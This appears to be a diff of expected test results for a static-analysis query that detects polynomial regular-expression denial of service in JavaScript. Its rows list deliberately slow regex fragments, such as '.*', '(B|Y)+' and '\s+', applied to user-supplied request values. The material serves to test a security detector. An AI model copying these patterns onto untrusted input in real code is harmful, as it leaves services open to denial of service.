polynomial-redos.js:69:18:69:25 | req.body | This expensive $@ use depends on $@. | polynomial-redos.js:69:8:69:9 | .* | regular expression | polynomial-redos.js:69:18:69:25 | req.body | a user-provided value | -| polynomial-redos.js:71:2:71:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:71:2:71:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:71:51:71:63 | [?\\x21-\\x7E]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:73:2:73:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:73:2:73:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:73:50:73:51 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:75:2:75:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:75:2:75:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:75:18:75:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:75:2:75:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:75:2:75:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:75:35:75:36 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:77:2:77:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:77:2:77:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:77:18:77:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:80:2:80:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:80:2:80:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:80:17:80:18 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:81:2:81:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:81:2:81:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:81:18:81:19 | c* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:86:2:86:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:86:2:86:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:86:25:86:29 | (ab)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:88:2:88:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:88:2:88:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:88:18:88:19 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:89:2:89:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:89:2:89:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:89:20:89:21 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:90:2:90:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:90:2:90:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:90:19:90:20 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:94:2:94:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:94:2:94:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:94:28:94:37 | ([2-5]\|B)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:95:2:95:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:95:2:95:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:95:21:95:30 | ([2-5]\|B)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:96:2:96:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:96:2:96:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:96:28:96:30 | \\d* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:98:2:98:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:98:2:98:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:98:25:98:29 | (ab)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:100:2:100:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:100:2:100:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:100:18:100:19 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:101:2:101:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:101:2:101:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:101:17:101:18 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:102:2:102:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:102:2:102:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:102:20:102:21 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:103:2:103:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:103:2:103:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:103:19:103:20 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:104:2:104:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:104:2:104:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:104:17:104:18 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:107:2:107:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:107:2:107:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:107:28:107:37 | ([2-5]\|B)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:108:2:108:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:108:2:108:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:108:21:108:30 | ([2-5]\|B)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:109:2:109:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:109:2:109:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:109:28:109:30 | \\d+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:111:2:111:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:111:2:111:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:111:17:111:19 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:112:2:112:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:112:2:112:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:112:17:112:19 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:114:2:114:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:114:2:114:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:114:22:114:24 | \\w* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:116:2:116:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:116:2:116:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:116:21:116:28 | [\\d\\D]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:118:2:118:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:118:2:118:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:118:17:118:23 | (#\\d+)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:124:12:124:17 | result | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:124:12:124:17 | result | This expensive $@ use depends on $@. | polynomial-redos.js:124:33:124:35 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| lib/lib.js:4:2:4:18 | regexp.test(name) | lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | This expensive $@ use depends on $@. | lib/lib.js:1:15:1:16 | a* | regular expression | lib/lib.js:3:28:3:31 | name | library input | +| polynomial-redos.js:7:2:7:34 | tainted ... /g, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:7:2:7:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:7:24:7:26 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:8:2:8:23 | tainted ... *, */) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:8:2:8:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:8:17:8:18 | * | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:9:2:9:34 | tainted ... g, ' ') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:9:2:9:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:9:19:9:21 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:11:2:11:31 | tainted ... ]/, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:11:2:11:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:11:19:11:20 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:12:2:12:28 | tainted ... ./, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:12:2:12:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:12:19:12:20 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:15:2:15:52 | tainted ... (?!`)/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:15:2:15:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:15:28:15:35 | [\\s\\S]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:15:2:15:52 | tainted ... (?!`)/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:15:2:15:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:15:41:15:43 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:16:2:16:46 | tainted ... (?!`)/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:16:2:16:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:16:25:16:32 | [\\s\\S]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:17:2:17:30 | /^(.*,) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:17:23:17:29 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:17:5:17:6 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:17:2:17:30 | /^(.*,) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:17:23:17:29 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:17:11:17:12 | .+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:18:2:18:130 | tainted ... 1,2}/i) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:18:2:18:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:18:83:18:100 | [\\u0600-\\u06FF\\/]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:19:2:19:148 | tainted ... 1,2}/i) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:19:2:19:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:19:17:19:22 | [0-9]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:20:2:20:63 | tainted ... d+)?$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:20:2:20:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:20:56:20:58 | \\d+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:25:2:25:68 | tainted ... (.*)$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:25:2:25:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:25:37:25:56 | [a-zA-Z0-9+\\/ \\t\\n]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:25:2:25:68 | tainted ... (.*)$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:25:2:25:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:25:63:25:64 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:30:2:30:32 | tainted ... /g, "") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:30:2:30:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:30:19:30:22 | [?]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:30:2:30:32 | tainted ... /g, "") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:30:2:30:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:30:23:30:24 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:33:2:33:56 | tainted ... e(.)*/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:33:2:33:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:33:17:33:20 | (.)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:36:2:36:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:36:2:36:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:36:18:36:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:36:2:36:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:36:2:36:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:36:35:36:36 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:37:2:37:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:37:2:37:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:37:18:37:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:37:2:37:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:37:2:37:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:37:35:37:36 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:38:2:38:38 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:38:2:38:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:38:18:38:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:38:2:38:38 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:38:2:38:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:38:34:38:35 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:40:2:40:67 | tainted ... E]*)$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:40:2:40:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:40:51:40:63 | [?\\x21-\\x7E]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:43:2:43:78 | tainted ... +))?$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:43:2:43:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:43:67:43:72 | [^\\n]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:48:2:48:37 | tainted ... g, ' ') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:48:2:48:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:48:22:48:24 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:50:2:50:21 | /Y.*X/.test(tainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:50:14:50:20 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:50:4:50:5 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:51:2:51:33 | /B?(YH\| ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:51:26:51:32 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:51:11:51:17 | (YH\|J)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:52:3:52:29 | /B?(YH\| ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:52:22:52:28 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:52:12:52:13 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:53:2:53:28 | /(B\|Y)+ ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:53:21:53:27 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:53:3:53:8 | (B\|Y)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:53:2:53:28 | /(B\|Y)+ ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:53:21:53:27 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:53:9:53:12 | (Y)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:54:3:54:29 | /(B\|Y)+ ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:54:22:54:28 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:54:4:54:9 | (B\|Y)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:54:3:54:29 | /(B\|Y)+ ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:54:22:54:28 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:54:10:54:13 | (.)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:55:3:55:30 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:55:23:55:29 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:55:11:55:14 | (Y)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:56:2:56:29 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:56:22:56:28 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:56:10:56:13 | (Y)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:57:3:57:32 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:57:25:57:31 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:57:11:57:16 | (Y\|K)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:58:3:58:28 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:58:21:58:27 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:58:11:58:12 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:59:3:59:30 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:59:23:59:29 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:59:11:59:14 | (.)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:62:3:62:24 | /^Y*Y*X ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:62:17:62:23 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:62:7:62:8 | Y* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:63:3:63:28 | /^(K\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:63:21:63:27 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:63:11:63:12 | Y* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:64:3:64:31 | /^foo(K ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:64:24:64:30 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:64:14:64:15 | Y* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:65:3:65:31 | /^foo(K ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:65:24:65:30 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:65:14:65:15 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:66:3:66:26 | /(K\|Y). ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:66:19:66:25 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:66:9:66:10 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:67:3:67:25 | /[^Y].* ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:67:18:67:24 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:67:8:67:9 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:69:3:69:26 | /[^Y].* ... q.body) | polynomial-redos.js:69:18:69:25 | req.body | polynomial-redos.js:69:18:69:25 | req.body | This expensive $@ use depends on $@. | polynomial-redos.js:69:8:69:9 | .* | regular expression | polynomial-redos.js:69:18:69:25 | req.body | a user-provided value | +| polynomial-redos.js:71:2:71:67 | tainted ... E]*)$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:71:2:71:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:71:51:71:63 | [?\\x21-\\x7E]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:73:2:73:60 | tainted ... LWP7")) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:73:2:73:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:73:50:73:51 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:75:2:75:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:75:2:75:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:75:18:75:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:75:2:75:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:75:2:75:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:75:35:75:36 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:77:2:77:22 | tainted ... /Y.*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:77:2:77:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:77:18:77:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:80:2:80:21 | tainted.match(/a*b/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:80:2:80:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:80:17:80:18 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:81:2:81:22 | tainted ... /cc*D/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:81:2:81:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:81:18:81:19 | c* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:86:2:86:32 | tainted ... ab)*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:86:2:86:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:86:25:86:29 | (ab)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:88:2:88:22 | tainted ... /aa*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:88:2:88:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:88:18:88:19 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:89:2:89:24 | tainted ... a*a*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:89:2:89:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:89:20:89:21 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:90:2:90:23 | tainted ... \\wa*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:90:2:90:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:90:19:90:20 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:94:2:94:40 | tainted ... \|B)*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:94:2:94:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:94:28:94:37 | ([2-5]\|B)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:95:2:95:33 | tainted ... \|B)*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:95:2:95:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:95:21:95:30 | ([2-5]\|B)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:96:2:96:33 | tainted ... *\\d*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:96:2:96:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:96:28:96:30 | \\d* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:98:2:98:32 | tainted ... ab)+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:98:2:98:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:98:25:98:29 | (ab)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:100:2:100:22 | tainted ... /aa+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:100:2:100:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:100:18:100:19 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:101:2:101:21 | tainted.match(/a+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:101:2:101:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:101:17:101:18 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:102:2:102:24 | tainted ... 